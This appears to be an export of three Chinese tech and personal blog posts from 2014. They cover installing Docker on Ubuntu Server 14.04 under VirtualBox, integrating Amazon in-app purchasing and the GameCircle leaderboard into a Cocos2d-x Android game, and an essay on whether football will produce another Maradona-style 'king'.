trusty main restricted\ndeb http://mirrors.sohu.com/ubuntu/ trusty-security main restricted\ndeb http://mirrors.sohu.com/ubuntu/ trusty-updates main restricted\ndeb http://mirrors.sohu.com/ubuntu/ trusty-proposed main restricted\ndeb http://mirrors.sohu.com/ubuntu/ trusty-backports main restricted\ndeb-src http://mirros.sohu.com/ubuntu/ trusty main restricted\ndeb-src http://mirrors.sohu.com/ubuntu/ trusty-security main restricted\ndeb-src http://mirrors.sohu.com/ubuntu/ trusty-updates main restricted\ndeb-src http://mirrors.sohu.com/ubuntu/ trusty-proposed main restricted\ndeb-src http://mirrors.sohu.com/ubuntu/ trusty-backports main restricted\n公司采用代理访问外网，于是还得在/etc/apt/apt.conf中加上代理的设置，否则无法更新源，也就无法安装第三方软件：\nAcquire::http::Proxy \u0026ldquo;http://username:passwd@proxyhost:proxyport\u0026rdquo;;\n【乱码处理】\n由于安装时候选择了中国区域（locale zh_CN.UTF-8），因此在VirtualBox的窗口中直接执行命令的提示信息可能是乱码。对于Server，我们一般是不会直接通过其主机显示 器登录使用的，都是通过终端访问，但在未安装和开启ssh服务和未配置端口转发前，我们只能先凑合这个窗口了。可先将/etc/default /locale中的LANGUAGE由\u0026quot;zh_CN:zh\u0026quot;改为\u0026quot;en_US:en\u0026quot;， logout后重新登录就可以看到非乱码的英文提示信息了。\n【安装VirtualBox增强组件】\nUbuntu Server默认是不安装图形桌面的，只有一个命令行窗口，连鼠标都无法使用。因此增强组件安装的意义没有桌面系统那么强烈。我能想到的只有“共享目录”这一个功能有些用处。\n安装方法也不难，按下面步骤逐步操作即可：\nsudo apt-get install build-essential linux-headers-$(uname -r) dkms gcc g++\nsudo mnt /dev/cdrom /mnt\ncd /mnt\nsudo bash ./VBoxLinuxAdditions.run\n如果结果都是\u0026quot;done\u0026quot;，重启后就ok了。\n【安装ssh服务】\nssh服务由openssh-server提供：\nsudo apt-get openssh-server\n安装成功后，ssh server服务就会自动启动起来。\n不过我们还是需要修改一些配置，比如允许Root登录：打开/etc/ssh/sshd_config，将PermitRootLogin后面的内容改为yes。\n【设置端口转发】\n前面说过，对于Server，我们更多是在其他主机上通过ssh或telnet远程访问该Server并执行各种操作。由于这里是VirtualBox安 装的虚拟机，其他主机无法看到这台Server，我们需要设置端口转发将外部访问的数据转发给这个内部虚拟Server。\n我们通过VirtualBox软件提供的图形界面即可完成这个操作：\n1、“设置”这个虚拟机\n2、在“网络”标签中，点击“端口转发”按钮，进入端口转发规则添加窗口。\n3、添加一条规则：\n名称：ssh-rules\n协议：TCP\n主机IP、子系统IP可以为空。\n主机端口：2222\n子系统端口：22\n4、配置结束\n配置结束后，我们在宿主机上netstat -an|grep 2222，可以看到VirtualBox增加了该端口2222的监听。\n现在我们就可以在其他机器上通过ssh -l tonybai 宿主机ip -p 2222的方式登录到我们新安装的这台虚拟Server了。\n二、安装docker\ndocker目前的最新版本号是1.2.0，但14.04源中的docker还是正式稳定版1.0之前的版本，显然这是无法满足我的要求的。我们只能另外添加docker源来安装最新版docker。\n【安装docker】\nsudo apt-get install lxc-docker\n正在读取软件包列表… 完成\n正在分析软件包的依赖关系树 正在读取状态信息… 完成 将会安装下列额外的软件包：\naufs-tools cgroup-lite git git-man liberror-perl lxc-docker-1.2.0\n建议安装的软件包：\ngit-daemon-run git-daemon-sysvinit git-doc git-el git-email git-gui gitk\ngitweb git-arch git-bzr git-cvs git-mediawiki git-svn\n下列新软件包将被安装：\naufs-tools cgroup-lite git git-man liberror-perl lxc-docker lxc-docker-1.2.0\n升级了 0 个软件包，新安装了 7 个软件包，要卸载 0 个软件包，有 59 个软件包未被升级。\n需要下载 7,477 kB 的软件包。\n解压缩后会消耗掉 35.4 MB 的额外空间。\n您希望继续执行吗？ [Y/n] y\n这个源里的docker居然是最新版。于是安装之。安装后，我们执行docker version来确认一下安装是否成功。\ntonybai@ubuntu-Server-14:~$ docker version\nClient version: 1.2.0\nClient API version: 1.14\nGo version (client): go1.3.1\nGit commit (client): fa7b24f\nOS/Arch (client): linux/amd64\n2014/09/26 13:56:53 Get http:///var/run/docker.sock/v1.14/version: dial unix /var/run/docker.sock: permission denied\n【为docker设置http代理】\n在公司内使用代理才能访问到外网，于是我们也需要为docker命令设置代理以使其顺利执行命令。\n我们安装的docker实际上分为两部分，docker命令行和docker daemon。两者是C/S结构，docker命令行将用户的请求转发给docker daemon，后者会真正与外部通信完成各种操作。\n于是我们可以这样为docker daemon设置http_proxy:\nsudo service docker stop\nsudo http_proxy=\u0026rsquo;http://user:passwd@proxyhost:port\u0026rsquo; docker -d \u0026amp;\n这样设置启动后，我们可以通过下面命令测试设置是否ok：\nsudo docker search ubuntu\n如果你看到下面信息，说明设置成功了：\ntonybai@ubuntu-Server-14:~$ sudo docker search ubuntu\n[info] GET /v1.14/images/search?term=ubuntu\n[b36518a9] +job search(ubuntu)\n[b36518a9] -job search(ubuntu) = OK (0)\nNAME DESCRIPTION STARS OFFICIAL AUTOMATED\nubuntu Official Ubuntu base image 709 [OK] dockerfile/ubuntu Trusted automated Ubuntu (http://www.ubunt… 24 [OK]\ncrashsystems/gitlab-docker A trusted, regularly updated build of GitL… 20 [OK]\nubuntu-upstart Upstart is an event-based replacement for … 13 [OK] … ….\n","permalink":"https://tonybai.com/2014/09/26/install-docker-on-ubuntu-server-1404/","summary":"\u003cp\u003e近期在研究\u003ca href=\"http://docker.com/\"\u003edocker\u003c/a\u003e这一轻量级容器引擎，研究docker对日常开发测试工作以及产品部署运维工作能带来哪些便利。前些时候刚刚将工作环境从 \u003ca href=\"http://tonybai.com/tag/ubuntu\"\u003eUbuntu\u003c/a\u003e搬到了Mac Air上，对Mac OS X的一切均不甚熟悉，给docker研究带来了不便，于是打算在\u003ca href=\"http://virtualbox.org/\"\u003eVirtualBox\u003c/a\u003e中安装一Ubuntu Server作为docker之承载平台。这里记录一下安装配置过程，主要为了备忘，如果能给其他人带来帮助，我会甚感欣慰。\u003c/p\u003e","title":"Ubuntu Server 14.04安装docker"},{"content":"由于种种原因，这篇文章已经拖延了N多时间了。今天花了些时间把如何在Cocos2d-x(我用的版本是2.2.2)游戏中集成Amazon的内购和GameCircle服务(仅适用于Android版本)整理一下，发出来，作备忘。\n之前在做“手指足球世界杯2014”时，想给这款小游戏加上内购(In-App Purchasing)和积分榜(ScoreBoard)功能。说到Android手机游戏的内购，人们第一时间想到的就是Google Play，不过悲催的是，Google Play在国内各种无法访问，行货机也不预装，其相关Service的测试十分困难，翻看了一些集成Google Game Service的文章，其过程坎坷之程度让人望而却步。于是我将目光转而投向了Amazon Game Service。亚马逊的游戏服务起步要晚些，成熟性肯定不如Google，但在国内来说也不失为另一个不错的选择，Google虽好，但访问不了有啥 法。但似乎国内同行使用Amazon游戏服务的并不多，度娘上相关中文资料甚少。但从Amazon发布的数据来看，其市场正在逐步扩大，并紧紧跟随 Google Play的脚步。\n之前用kindle paperwhite时在amazon.com上注册了一个国际帐号，这次正好用这个。不过你要使用Amazon的Game Service，普通Amazon帐号是不行的。你要升级为Amazon的Developer。申请Developer帐号的过程还是蛮繁琐的，要提交一 堆资料，具体细节我大致忘的差不多了，这里就不说了。按照Amazon网站的提示一步一步做就是了。\n有了帐号后，你可以下载Amazon的Game SDK了，这个包有近50M大小，本地解压后可以看到其提供的Android SDK种类：\nAmazonSDK/Android$ ls\nAds AmazonInsights DeviceMessaging GameCircle InAppPurchasing LoginWithAmazon Maps MobileAssociates README.txt\nAds我之前用的是Google Admob，这里就不再用Amazon的了，我需要的是这里的InAppPurchasing和GameCircle。我们接下来一个一个来说。\n* Amazon InAppPurchasing\nAmazon支持三种内购类型：Consumables、Entitlements和Subscriptions：\nConsumables就像游戏中的红心、金币等，用户可以多次购买，每次可以买多个，并根据游戏规则，每次消耗若干个以达到某种游戏目的；在哪台设备上购买，就只能在哪台设备上使用。\nEntitlements是某种授权协议，一个用户只需购买一次，即可长期使用某种特权功能，并与设备无关，可在多个设备下授权使用。比如鳄鱼洗澡游戏中购买高级关卡等。\nSubscriptions有订阅的意思，需要某种Entitlements或某种访问权，在一定时间段内绑定有效，到期后自动renew，比如某种杂志的阅读权等。\n我只想给游戏增加一些红心功能，一颗红心，可以让游戏者有一次续命的机会，因此我需要实现Consumables型内购。Amazon SDK中提供了Consumeables类内购的Android范例AmazonSDK/Android/InAppPurchasing/samples/SampleIAPConsumablesApp。我们可以参考这个例子来实现我的\u0026quot;红心内购\u0026quot;。\n1、添加依赖的jar包\n在你的游戏proj中添加内购功能所依赖的Amazon SDK jar包，包括AmazonInsights-android-sdk-2.1.26.jar、in-app-purchasing-1.0.3.jar 和login-with-amazon-sdk.jar。\n2、添加源文件\n参照例子，将AppPurchasingObserver.java、AppPurchasingObserverListener.java和MySKU.java拷贝到你的与XXActivity.java同级目录下。\n3、初始化Amazon IAP\n在你的XXActivity类中添加如下方法：\npublic PurchaseDataStorage purchaseDataStorage;\nprivate void setupIAPOnCreate() {\npurchaseDataStorage = new PurchaseDataStorage(this);\nAppPurchasingObserver purchasingObserver\n= new AppPurchasingObserver(this, purchaseDataStorage);\npurchasingObserver.setListener(this);\nLog.i(TAG, \u0026ldquo;onCreate: registering AppPurchasingObserver\u0026rdquo;);\nPurchasingManager.registerObserver(purchasingObserver);\n}\nprotected void onCreate(Bundle savedInstanceState){\n… …\nsetupIAPOnCreate();\n}\nprotected void onResume() {\nsuper.onResume();\nLog.i(TAG, \u0026ldquo;onResume: call initiateGetUserIdRequest\u0026rdquo;);\nPurchasingManager.initiateGetUserIdRequest();\nLog.i(TAG, \u0026ldquo;onResume: call initiateItemDataRequest for skus: \u0026quot;\n+ MySKU.getAll());\nPurchasingManager.initiateItemDataRequest(MySKU.getAll());\n}\n4、添加购买方法\n在Cocos2d-x的某个Scene或Layer中实现的购买方法事件的callback，后者通过Jni调用Java静态方法：\nvoid BuyHeartScene::buyHearts(int number) {\n#if (CC_TARGET_PLATFORM == CC_PLATFORM_ANDROID)\nJniMethodInfo t;\nif (JniHelper::getStaticMethodInfo(t, \u0026ldquo;net/iwobi/game/flickworldcup/FlickWorldCupActivity\u0026rdquo;,\n\u0026ldquo;onBuyHeartClick\u0026rdquo;, \u0026ldquo;(I)V\u0026rdquo;)) {\nt.env-\u0026gt;CallStaticVoidMethod(t.classID, t.methodID, number);\nif (t.env-\u0026gt;ExceptionOccurred()) {\nt.env-\u0026gt;ExceptionDescribe();\nt.env-\u0026gt;ExceptionClear();\nreturn;\n}\nt.env-\u0026gt;DeleteLocalRef(t.classID);\n}\n#endif\n}\n该Java方法的实现如下(我这里有五种商品ONEHEART到FIVEHEART)：\npublic static void onBuyHeartClick(int type) {\nString requestId;\nswitch (type) {\ncase 1:\nrequestId = PurchasingManager.initiatePurchaseRequest(MySKU.ONEHEART.getSku());\nbreak;\ncase 2:\nrequestId = PurchasingManager.initiatePurchaseRequest(MySKU.TWOHEART.getSku());\nbreak;\ncase 3:\nrequestId = PurchasingManager.initiatePurchaseRequest(MySKU.THREEHEART.getSku());\nbreak;\ncase 4:\nrequestId = PurchasingManager.initiatePurchaseRequest(MySKU.FOURHEART.getSku());\nbreak;\ncase 5:\nrequestId = PurchasingManager.initiatePurchaseRequest(MySKU.FIVEHEART.getSku());\nbreak;\ndefault:\nrequestId = PurchasingManager.initiatePurchaseRequest(MySKU.ONEHEART.getSku());\nbreak;\n}\nPurchaseData purchaseData = ((FlickWorldCupActivity)context).purchaseDataStorage\n.newPurchaseData(requestId);\nLog.i(TAG, \u0026ldquo;onBuyHeartClick: requestId (\u0026rdquo; + requestId\n+ \u0026ldquo;) requestState (\u0026rdquo; + purchaseData.getRequestState() + \u0026ldquo;)\u0026rdquo;);\n}\n5、修改各种回调方法\n将SampleIAPConsumablesApp/src/com/amazon/sample/iap/consumable /MainActivity.java中的onPurchase为前缀名的方法以及onGetUserIdResponseSuccessful挪到你的 Activity源文件中。这些方法绝大部分是不需要修改的，除非你不喜欢例子中日志输出的格式，或是想用toast之类的提示方式改造各种 callback的结果显示方式。\n这里我主要修改了一个方法：onPurchaseResponseSuccess。该方法在购买成功后被调用，我们在这个事件发生时更新Scene或Layer的显示(updateHeartInScene)。\n@Override\npublic void onPurchaseResponseSuccess(String userId, String sku,\nString purchaseToken) {\nLog.i(TAG, \u0026ldquo;onPurchaseResponseSuccess: for userId (\u0026rdquo; + userId\n+ \u0026ldquo;) sku (\u0026rdquo; + sku + \u0026ldquo;)\u0026rdquo;);\nSKUData skuData = purchaseDataStorage.getSKUData(sku);\nif (skuData == null)\nreturn;\nif (MySKU.ONEHEART.getSku().equals(skuData.getSKU())) {\nupdateHeartInScene(1);\n}\nif (MySKU.TWOHEART.getSku().equals(skuData.getSKU())) {\nupdateHeartInScene(2);\n}\nif (MySKU.THREEHEART.getSku().equals(skuData.getSKU())) {\nupdateHeartInScene(3);\n}\nif (MySKU.FOURHEART.getSku().equals(skuData.getSKU())) {\nupdateHeartInScene(4);\n}\nif (MySKU.FIVEHEART.getSku().equals(skuData.getSKU())) {\nupdateHeartInScene(5);\n}\n}\n6、AndroidManifest.xml和其他Java文件\nAppPurchasingObserver.java和AppPurchasingObserverListener.java你可以原封不动的使用。MySKU.java可以根据你的内购项目做改造：\npublic enum MySKU {\nONEHEART(\u0026ldquo;net.iwobi.game.flickworldcup.iap.consumable.oneheart\u0026rdquo;, 1),\nTWOHEART(\u0026ldquo;net.iwobi.game.flickworldcup.iap.consumable.twoheart\u0026rdquo;, 1),\nTHREEHEART(\u0026ldquo;net.iwobi.game.flickworldcup.iap.consumable.threeheart\u0026rdquo;, 1),\nFOURHEART(\u0026ldquo;net.iwobi.game.flickworldcup.iap.consumable.fourheart\u0026rdquo;, 1),\nFIVEHEART(\u0026ldquo;net.iwobi.game.flickworldcup.iap.consumable.fiveheart\u0026rdquo;, 1);\nprivate String sku;\nprivate int quantity;\nprivate MySKU(String sku, int quantity) {\nthis.sku = sku;\nthis.quantity = quantity;\n}\npublic static MySKU valueForSKU(String sku) {\nif (ONEHEART.getSku().equals(sku)) {\nreturn ONEHEART;\n}\nif (TWOHEART.getSku().equals(sku)) {\nreturn TWOHEART;\n}\nif (THREEHEART.getSku().equals(sku)) {\nreturn THREEHEART;\n}\nif (FOURHEART.getSku().equals(sku)) {\nreturn FOURHEART;\n}\nif (FIVEHEART.getSku().equals(sku)) {\nreturn FIVEHEART;\n}\nreturn null;\n}\npublic String getSku() {\nreturn sku;\n}\npublic int getQuantity() {\nreturn quantity;\n}\nprivate static Set SKUS = new HashSet();\nstatic {\nSKUS.add(ONEHEART.getSku());\nSKUS.add(TWOHEART.getSku());\nSKUS.add(THREEHEART.getSku());\nSKUS.add(FOURHEART.getSku());\nSKUS.add(FIVEHEART.getSku());\n}\npublic static Set getAll() {\nreturn SKUS;\n}\n}\nAndroidManifest.xml中在application标签下添加如下配置：\n\u0026lt;action\nandroid:name=\u0026ldquo;com.amazon.inapp.purchasing.NOTIFY\u0026rdquo;\nandroid:permission=\u0026ldquo;com.amazon.inapp.purchasing.Permission.NOTIFY\u0026rdquo; /\u0026gt;\n有了以上代码，我们的内购就可以运行起来了。\n* 内购测试\n使用Amazon In-app Purchasing API一个最大好处就是测试简单。Amazon提供一个本地测试程序Amazon App Tester（安装到Android模拟器中），可以模拟内购Server，SDK自动判断当前场景，如果是测试，你的集成了内购SDK的游戏将连接本地 测试程序完成内购流程。通过在本地测试程序中设置模拟不同的内购流程，我们可以轻松完成测试。\n你需要给Amazon App Tester提供一个名为amazon.sdktester.json的文件，这样Amazon App Tester可以知道你的游戏有哪些内购项目，并模拟出这些内购项目。这个json文件可以自行编辑，也可以在Amazon deveoper网站上生成下载。\n我直接将内购项目添加到我的Amazon帐号的游戏应用下面，一共五个，添加成功后，下载json文件。将该文件放在模拟器的/mnt/sdcard下，绝对路径为/mnt/sdcard/amazon.sdktester.json。\n之后，启动App Tester，再启动你的游戏，点击内购项目，看看是否能购买成功。\n* 内购上线\n按照Amazon官方说法，SDK会自动区分测试场景和正式场景，因此通过App Tester测试的游戏在发布后，理论上内购是没有问题的。不过我上线后还是遇到了问题，即点击购买某个项目后，游戏没有任何反应，等了若干分钟都是这 样。我将这个问题反馈给Amazon Support，得到的答复居然是游戏代码没有问题，他们测试了若干中机型，都可以打开内购页面，并进行内购。只是有时内购页面打开有些延迟，但都能打 开。看到这里，我猜是否又是大陆网络的问题呢！不管它了，至少通过Amazon Support的回复可以证明我的代码是ok的。只能希望美国人民多多购买我的内购项目了^_^。\n* Amazon游戏圈\n想给游戏增加成就榜和成就提交功能，如果自己实现服务端，显然麻烦，工作量大不说，还得维护一个Server。但市面上提供这类服务的游戏平台不多。 Google Play的游戏Service提供这种服务，不过还是上面提到的原因，我与Google的这个服务无缘啊。Amazon Game SDK后期推出了GameCircle服务。\nGameCircle目前提供achievements, leaderboards和Whispersync三种特性：\nachievements就是奖励机制，帮助游戏提高玩家粘性。\nleaderboards类似于积分榜，可以用于提交玩家积分以及显示玩家的全球排名。\nWhispersync是一种数据游戏同步服务，同步玩家进度，保寸玩家个性化数据等。\n这里我要用到的是leaderboards。\n1、建立GameCircle\n使用游戏圈前，你需要在Amazon官方的Amazon Apps \u0026amp; Services Developer Console下创建属于你的Game Circle，然后创建一个LeaderBoard，设置LeaderBoard属性。SDK中提供了GameCircle的Demo：AmazonSDK/Android/GameCircle。\n2、导入jar包，设置AndroidManifest.xml\n要想使用GameCircle，我们需要导入相应的SDK jar包：gamecirclesdk.jar。\n在AndroidManifest.xml中，需要在application标签下添加以下配置：\n\u0026lt;activity\nandroid:name=\u0026ldquo;com.amazon.ags.html5.overlay.GameCircleUserInterface\u0026rdquo;\nandroid:hardwareAccelerated=\u0026ldquo;false\u0026rdquo;\nandroid:theme=\u0026quot;@style/GCOverlay\u0026rdquo; \u0026gt;\n\u0026lt;activity\nandroid:name=\u0026ldquo;com.amazon.identity.auth.device.authorization.AuthorizationActivity\u0026rdquo;\nandroid:allowTaskReparenting=\u0026ldquo;true\u0026rdquo;\nandroid:launchMode=\u0026ldquo;singleTask\u0026rdquo;\nandroid:theme=\u0026quot;@android:style/Theme.NoDisplay\u0026quot; \u0026gt;\n\u0026lt;data\nandroid:host=\u0026ldquo;net.iwobi.game.flickworldcup\u0026rdquo;\nandroid:scheme=\u0026ldquo;amzn\u0026rdquo; /\u0026gt;\n\u0026lt;activity\nandroid:name=\u0026ldquo;com.amazon.ags.html5.overlay.GameCircleAlertUserInterface\u0026rdquo;\nandroid:hardwareAccelerated=\u0026ldquo;false\u0026rdquo;\nandroid:theme=\u0026quot;@style/GCAlert\u0026quot; \u0026gt;\n\u0026lt;receiver\nandroid:name=\u0026ldquo;com.amazon.identity.auth.device.authorization.PackageIntentReceiver\u0026rdquo;\nandroid:enabled=\u0026ldquo;true\u0026rdquo; \u0026gt;\n这些配置中需要的res，可以从AmazonSDK/Android/GameCircle/GameCircleSDK/res/中找到并copy到你的project中。\n3、初始化GameCircle\nGameCircleSDK这个Demo中没有提供太多源码，src目录下是空的。因此我们只能参考Amazon Developer站点上页面上的说明一步步的添加和调整我们的代码了。\n在你的XXActivity类中，我们添加如下方法：\n//reference to the agsClient\npublic AmazonGamesClient agsClient;\nAmazonGamesCallback callback = new AmazonGamesCallback() {\n@Override\npublic void onServiceNotReady(AmazonGamesStatus status) {\nMessage msg = new Message();\nswitch (status) {\n// The SDK failed to initialize correctly.\ncase CANNOT_INITIALIZE:\nLog.i(TAG, \u0026ldquo;onServiceNotReady: CANNOT_INITIALIZE\u0026rdquo;);\nmsg.obj = \u0026ldquo;Can not initialize Amazon Game Services\u0026rdquo;;\nbreak;\n// The SDK is in the process of initializing.\ncase INITIALIZING:\nLog.i(TAG, \u0026ldquo;onServiceNotReady: INITIALIZING\u0026rdquo;);\nmsg.obj = \u0026ldquo;Initializing Amazon Game Services\u0026rdquo;;\nbreak;\n// The device not registered with an account\ncase NOT_AUTHENTICATED:\nLog.i(TAG, \u0026ldquo;onServiceNotReady: NOT_AUTHENTICATED\u0026rdquo;);\nmsg.obj = \u0026ldquo;The Device does not registered with an account\u0026rdquo;;\nbreak;\n// The game is not authorized to use this service.\ncase NOT_AUTHORIZED:\nLog.i(TAG, \u0026ldquo;onServiceNotReady: NOT_AUTHORIZED\u0026rdquo;);\nmsg.obj = \u0026ldquo;Not authorized to use Amazon Game Services\u0026rdquo;; break;\n}\n//unable to use service\nmsg.what = 21; notifyHandler.sendMessage(msg);\n}\n@Override\npublic void onServiceReady(AmazonGamesClient amazonGamesClient) {\nagsClient = amazonGamesClient;\n//ready to use GameCircle\nif (agsClient != null)\nLog.i(TAG, \u0026ldquo;on AmazonGamesCallback: call onServiceReady, agsClient init ok\u0026rdquo;);\nelse\nLog.i(TAG, \u0026ldquo;on AmazonGamesCallback: call onServiceReady, agsClient init failed\u0026rdquo;);\n}\n};\n//list of features your game uses (in this example, achievements and leaderboards)\nEnumSet myGameFeatures = EnumSet.of(\nAmazonGamesFeature.Leaderboards);\nprotected void onResume() {\nsuper.onResume();\n… …\nAmazonGamesClient.initialize(this, callback, myGameFeatures);\n}\npublic void onPause() {\nsuper.onPause();\nif (agsClient != null) {\nagsClient.release();\n}\n}\n4、提交成就积分\n当玩家结束游戏时，可以选择将此次的高分上传到leaderboards上。游戏中应对积分提交的代码也在XXActivity中。\npublic static void onSubmitScoreToLeaderBoard(int score) {\nif (((FlickWorldCupActivity)context).agsClient == null) {\nMessage msg = new Message();\nmsg.what = 21;\nmsg.obj = \u0026ldquo;Unable to use Amazon Game Services\u0026rdquo;;\nnotifyHandler.sendMessage(msg);\nreturn;\n}\nLeaderboardsClient lbClient = ((FlickWorldCupActivity)context).agsClient.getLeaderboardsClient();\nAGResponseHandle handle = lbClient.submitScore(\u0026quot;FlickWorldCupTopScore\u0026quot;, score);\n// Optional callback to receive notification of success/failure.\nhandle.setCallback(new AGResponseCallback() {\n@Override\npublic void onComplete(SubmitScoreResponse result) {\nif (result.isError()) {\n// Add optional error handling here. Not strictly required\n// since retries and on-device request caching are automatic.\nMessage msg = new Message();\nmsg.what = 22;\nmsg.obj = \u0026ldquo;Submit Score to LeaderBoard Failed!\u0026rdquo;;\nnotifyHandler.sendMessage(msg);\n} else {\n// Continue game flow.\nMessage msg = new Message();\nmsg.what = 23;\nmsg.obj = \u0026ldquo;Submit Score to LeaderBoard OK!\u0026rdquo;;\nnotifyHandler.sendMessage(msg);\n}\n}\n}); }\n如果仅是查看积分排行，可以用下面这个方法：\npublic static void onShowLeaderBoardOverlay() {\nif (((FlickWorldCupActivity)context).agsClient == null) {\nMessage msg = new Message();\nmsg.what = 21;\nmsg.obj = \u0026ldquo;Unable to use Amazon Game Services\u0026rdquo;;\nnotifyHandler.sendMessage(msg);\nreturn;\n}\nLeaderboardsClient lbClient = ((FlickWorldCupActivity)context).agsClient.getLeaderboardsClient();\nAGResponseHandle handle = lbClient.showLeaderboardOverlay(\u0026ldquo;FlickWorldCupTopScore\u0026rdquo;);\nhandle.setCallback(new AGResponseCallback() {\n@Override\npublic void onComplete(RequestResponse result) {\nif (result.isError()) {\n// Add optional error handling here. Not strictly required\n// since retries and on-device request caching are automatic.\nLog.i(TAG, \u0026ldquo;onShowLeaderBoardOverlay – onComplete: Show LeaderBoard Request Failed!\u0026rdquo;);\n}\n}\n}); }\n* 游戏圈上线\n游戏圈无法在本地进行测试，只能在真实的游戏圈中测试代码是否ok。不过Amazon的游戏圈提供了管理功能，在测试后发布前可将游戏圈 leaderboard的值reset。游戏圈leaderboard发布后，你就可以使用leaderboard了。游戏圈功能在国内访问是没有任何问 题的，查看积分榜，提交分数到积分榜都很顺畅。\n* 小结\nAmazon游戏SDK在国内的应用估计比较小众，大家可能更多的选择用Google Play提供的服务或是AppStore的，但Amazon毕竟为游戏开发者提供了一个选择（而且是完全免费的哦），另外Amazon的Support对 提交问题的反馈较为及时(无论是mail还是forum上的提问)，基本24小时内就会有答复。各种设施的发布也比较快，有时候3-4个小时即可生效。\n目前Amazon Game SDK的资料多为英文，且集中在Amazon官方站点以及官方维护的support论坛中。遇到问题，亚马逊的论坛是第一选择。\n","permalink":"https://tonybai.com/2014/08/04/amazon-inapp-purchasing-and-gamecirle-in-cocos2dx/","summary":"\u003cp\u003e由于种种原因，这篇文章已经拖延了N多时间了。今天花了些时间把如何在\u003ca href=\"http://cocos2d-x.org/\"\u003eCocos2d-x\u003c/a\u003e(我用的版本是2.2.2)游戏中集成\u003ca href=\"https://developer.amazon.com/public\"\u003eAmazon\u003c/a\u003e的\u003ca href=\"https://developer.amazon.com/public/apis/earn/in-app-purchasing\"\u003e内购\u003c/a\u003e和\u003ca href=\"https://developer.amazon.com/public/apis/engage/gamecircle\"\u003eGameCircle\u003c/a\u003e服务(仅适用于Android版本)整理一下，发出来，作备忘。\u003c/p\u003e\n\u003cp\u003e之前在做“\u003ca href=\"http://iwobi.net/\"\u003e手指足球世界杯2014\u003c/a\u003e”时，想给这款小游戏加上内购(In-App Purchasing)和积分榜(ScoreBoard)功能。说到Android手机游戏的内购，人们第一时间想到的就是\u003ca href=\"http://play.google.com/\"\u003eGoogle Play\u003c/a\u003e，不过悲催的是，Google Play在国内各种无法访问，行货机也不预装，其相关Service的测试十分困难，翻看了一些集成Google Game Service的文章，其过程坎坷之程度让人望而却步。于是我将目光转而投向了Amazon Game Service。亚马逊的游戏服务起步要晚些，成熟性肯定不如Google，但在国内来说也不失为另一个不错的选择，Google虽好，但访问不了有啥 法。但似乎国内同行使用Amazon游戏服务的并不多，度娘上相关中文资料甚少。但从Amazon发布的数据来看，其市场正在逐步扩大，并紧紧跟随 Google Play的脚步。\u003c/p\u003e","title":"Cocos2d-x集成Amazon内购和GameCircle服务"},{"content":"准球王梅西最终没能将巴西世界杯的决赛赛场变成自己到加冕地，潘帕斯雄鹰阿根廷连续第三届世界杯被德意志战车践踏，让我这个老阿迷痛心不已。\n足球是一种信仰，在足球这个信仰的世界里有神，更要有王。但现代足球趋向整体的战术体系让类似贝利、马拉多纳那样的“王”的出现日益困难。足球界、球迷们 实际上都期望新“王”的诞生，这样才能带来更多的信仰满足感和成就感。因此每当有天赋异秉的球员出现时，大家都会给予足够的关注目光。梅西就是从2005 年世青赛一直被关注到今天上午的决赛赛场的。但就是像梅西这样50年不遇的足球天才也没能最终加冕为像马拉多纳那样的“王”，世界足球的“王”依旧缺失！\n我们不禁要问，足球界的那个“王”还会出现吗？现实似乎给了我们比较悲观的答案。虽说很多人认为球王已不再需要世界杯去证明，但传统认知的惯性还是会影响诸多球迷：新球王就应该像贝利和马拉多纳那样拿下大力神杯。这里提到的“王”依旧遵循着传统的认知。\n1、整体足球无法诞生“球王”\n足球百年历史上公认的球王只有两个：贝利和马拉多纳。两人都来自南美洲，两人都在各自的世界杯舞台上有着被公认是个人英雄式的表演，这让全世界球迷顶礼膜 拜。但在今天整体足球逐渐成为主流趋势的情况下，我们再也很难见到想马拉多纳那样以一己之力带领球队拿到世界杯的表演了。2010年的西班牙，2014年 的德国都是整体足球、团队足球的典型代表，他们虽然夺冠了，但我们无法从中选出一个马拉多纳式的人物，冠军的成绩依靠的是整体的流畅运转，就像我们评价此 次德国队的那样，球队更像一个机器，每个螺丝，每个细节都是关键。\n从此次世界杯的表现来看，要说不够“整体”的，还真的只有阿根廷了，这届梅西的表现其实已经十分接近马拉多纳当年的作用了，没能成王十分可惜。巴西队和德国、西班牙比起来，整体性也有不足，似乎具有诞生球王的潜质。但巴西、阿根廷在未来真的能诞生新王吗？我们继续分析。\n2、巴西、阿根廷足球的\u0026quot;衰落\u0026quot;\n2002年巴西在亚洲夺冠，让人们看到南美足球似乎在恢复统治力。但随着德国、西班牙对青训体系的计划、投入以及严格执行，西班牙、德国从2002年后诞 生了一大批年轻有天赋的足球青年，在2010、2014年，西班牙和德国先后捧杯就是一流青训计划带来的结果。反观这一时段的巴西和阿根廷队，人才青黄不 接。巴西中前场再无3R组合的豪华，阿根廷更加悲惨，不仅后卫趋向三流，进攻组织型中场也销声匿迹，唯独锋线还能拿得出手。更让南美球迷担心的是，巴西、 阿根廷本土联赛的水准日渐下滑，从近几次世俱杯的欧美对抗结果即可看出。巴西、阿根廷绝对不缺少天才型球员，缺少的则是像德国那样的长远规划和强有力的执 行。\n另外巴阿两国在球员培养和输送方面开始“拜金”，什么样的球员受欧洲球队欢迎就培养什么位置的球员。哪个俱乐部给钱多，就把球员卖给哪个俱乐部。这导致大 量天才球员登陆欧洲的第一站往往是俄罗斯这样的三流联赛，让这些球员失去了向一流球员学习经验的机会，天赋逐渐被磨灭，经验也都是三流的，没法登上一流的 赛场上，逐渐变得平庸。另外南美球员由于分布在不同国家联赛，导致打法很难统一，一到国家队磨合起来十分困难，间接削弱了国家队的战斗力。\n3、欧洲足球是“反球王”模式的\n欧洲依旧是世界足球的中心，这有利于欧洲国家的球员在一支球队内磨合和统一风格。比如2010的西班牙，以巴萨为班底；本届的德国以拜仁为班底。核心球员 在俱乐部里配合默契娴熟，到了国家队基本不需要磨合就可以发挥出100%战力，让整体足球体现的淋漓尽致。但这种技术领先、团队合作的欧洲足球是反球王模 式的，这在相当大的程度上阻止了像阿根廷、巴西这样具有“王”诞生条件的国家队站在世界杯的最高领奖台上。\n综上三点，世界足球“新球王”诞生真的不再乐观。也许我们依旧能看到像齐达内这样的神，但短时间内很难再看到马拉多纳这样的王的出现。梅西在这届世界杯上 已经尽力了，但依旧无法称王，我实在难以想象得到未来几十年中还能有像梅西这样天赋异秉的足球天才的出现。巴西、阿根廷足球体系的衰落也让王的出现更为难 上加难。\n","permalink":"https://tonybai.com/2014/07/15/will-new-soccer-king-appear/","summary":"\u003cp\u003e准球王\u003ca 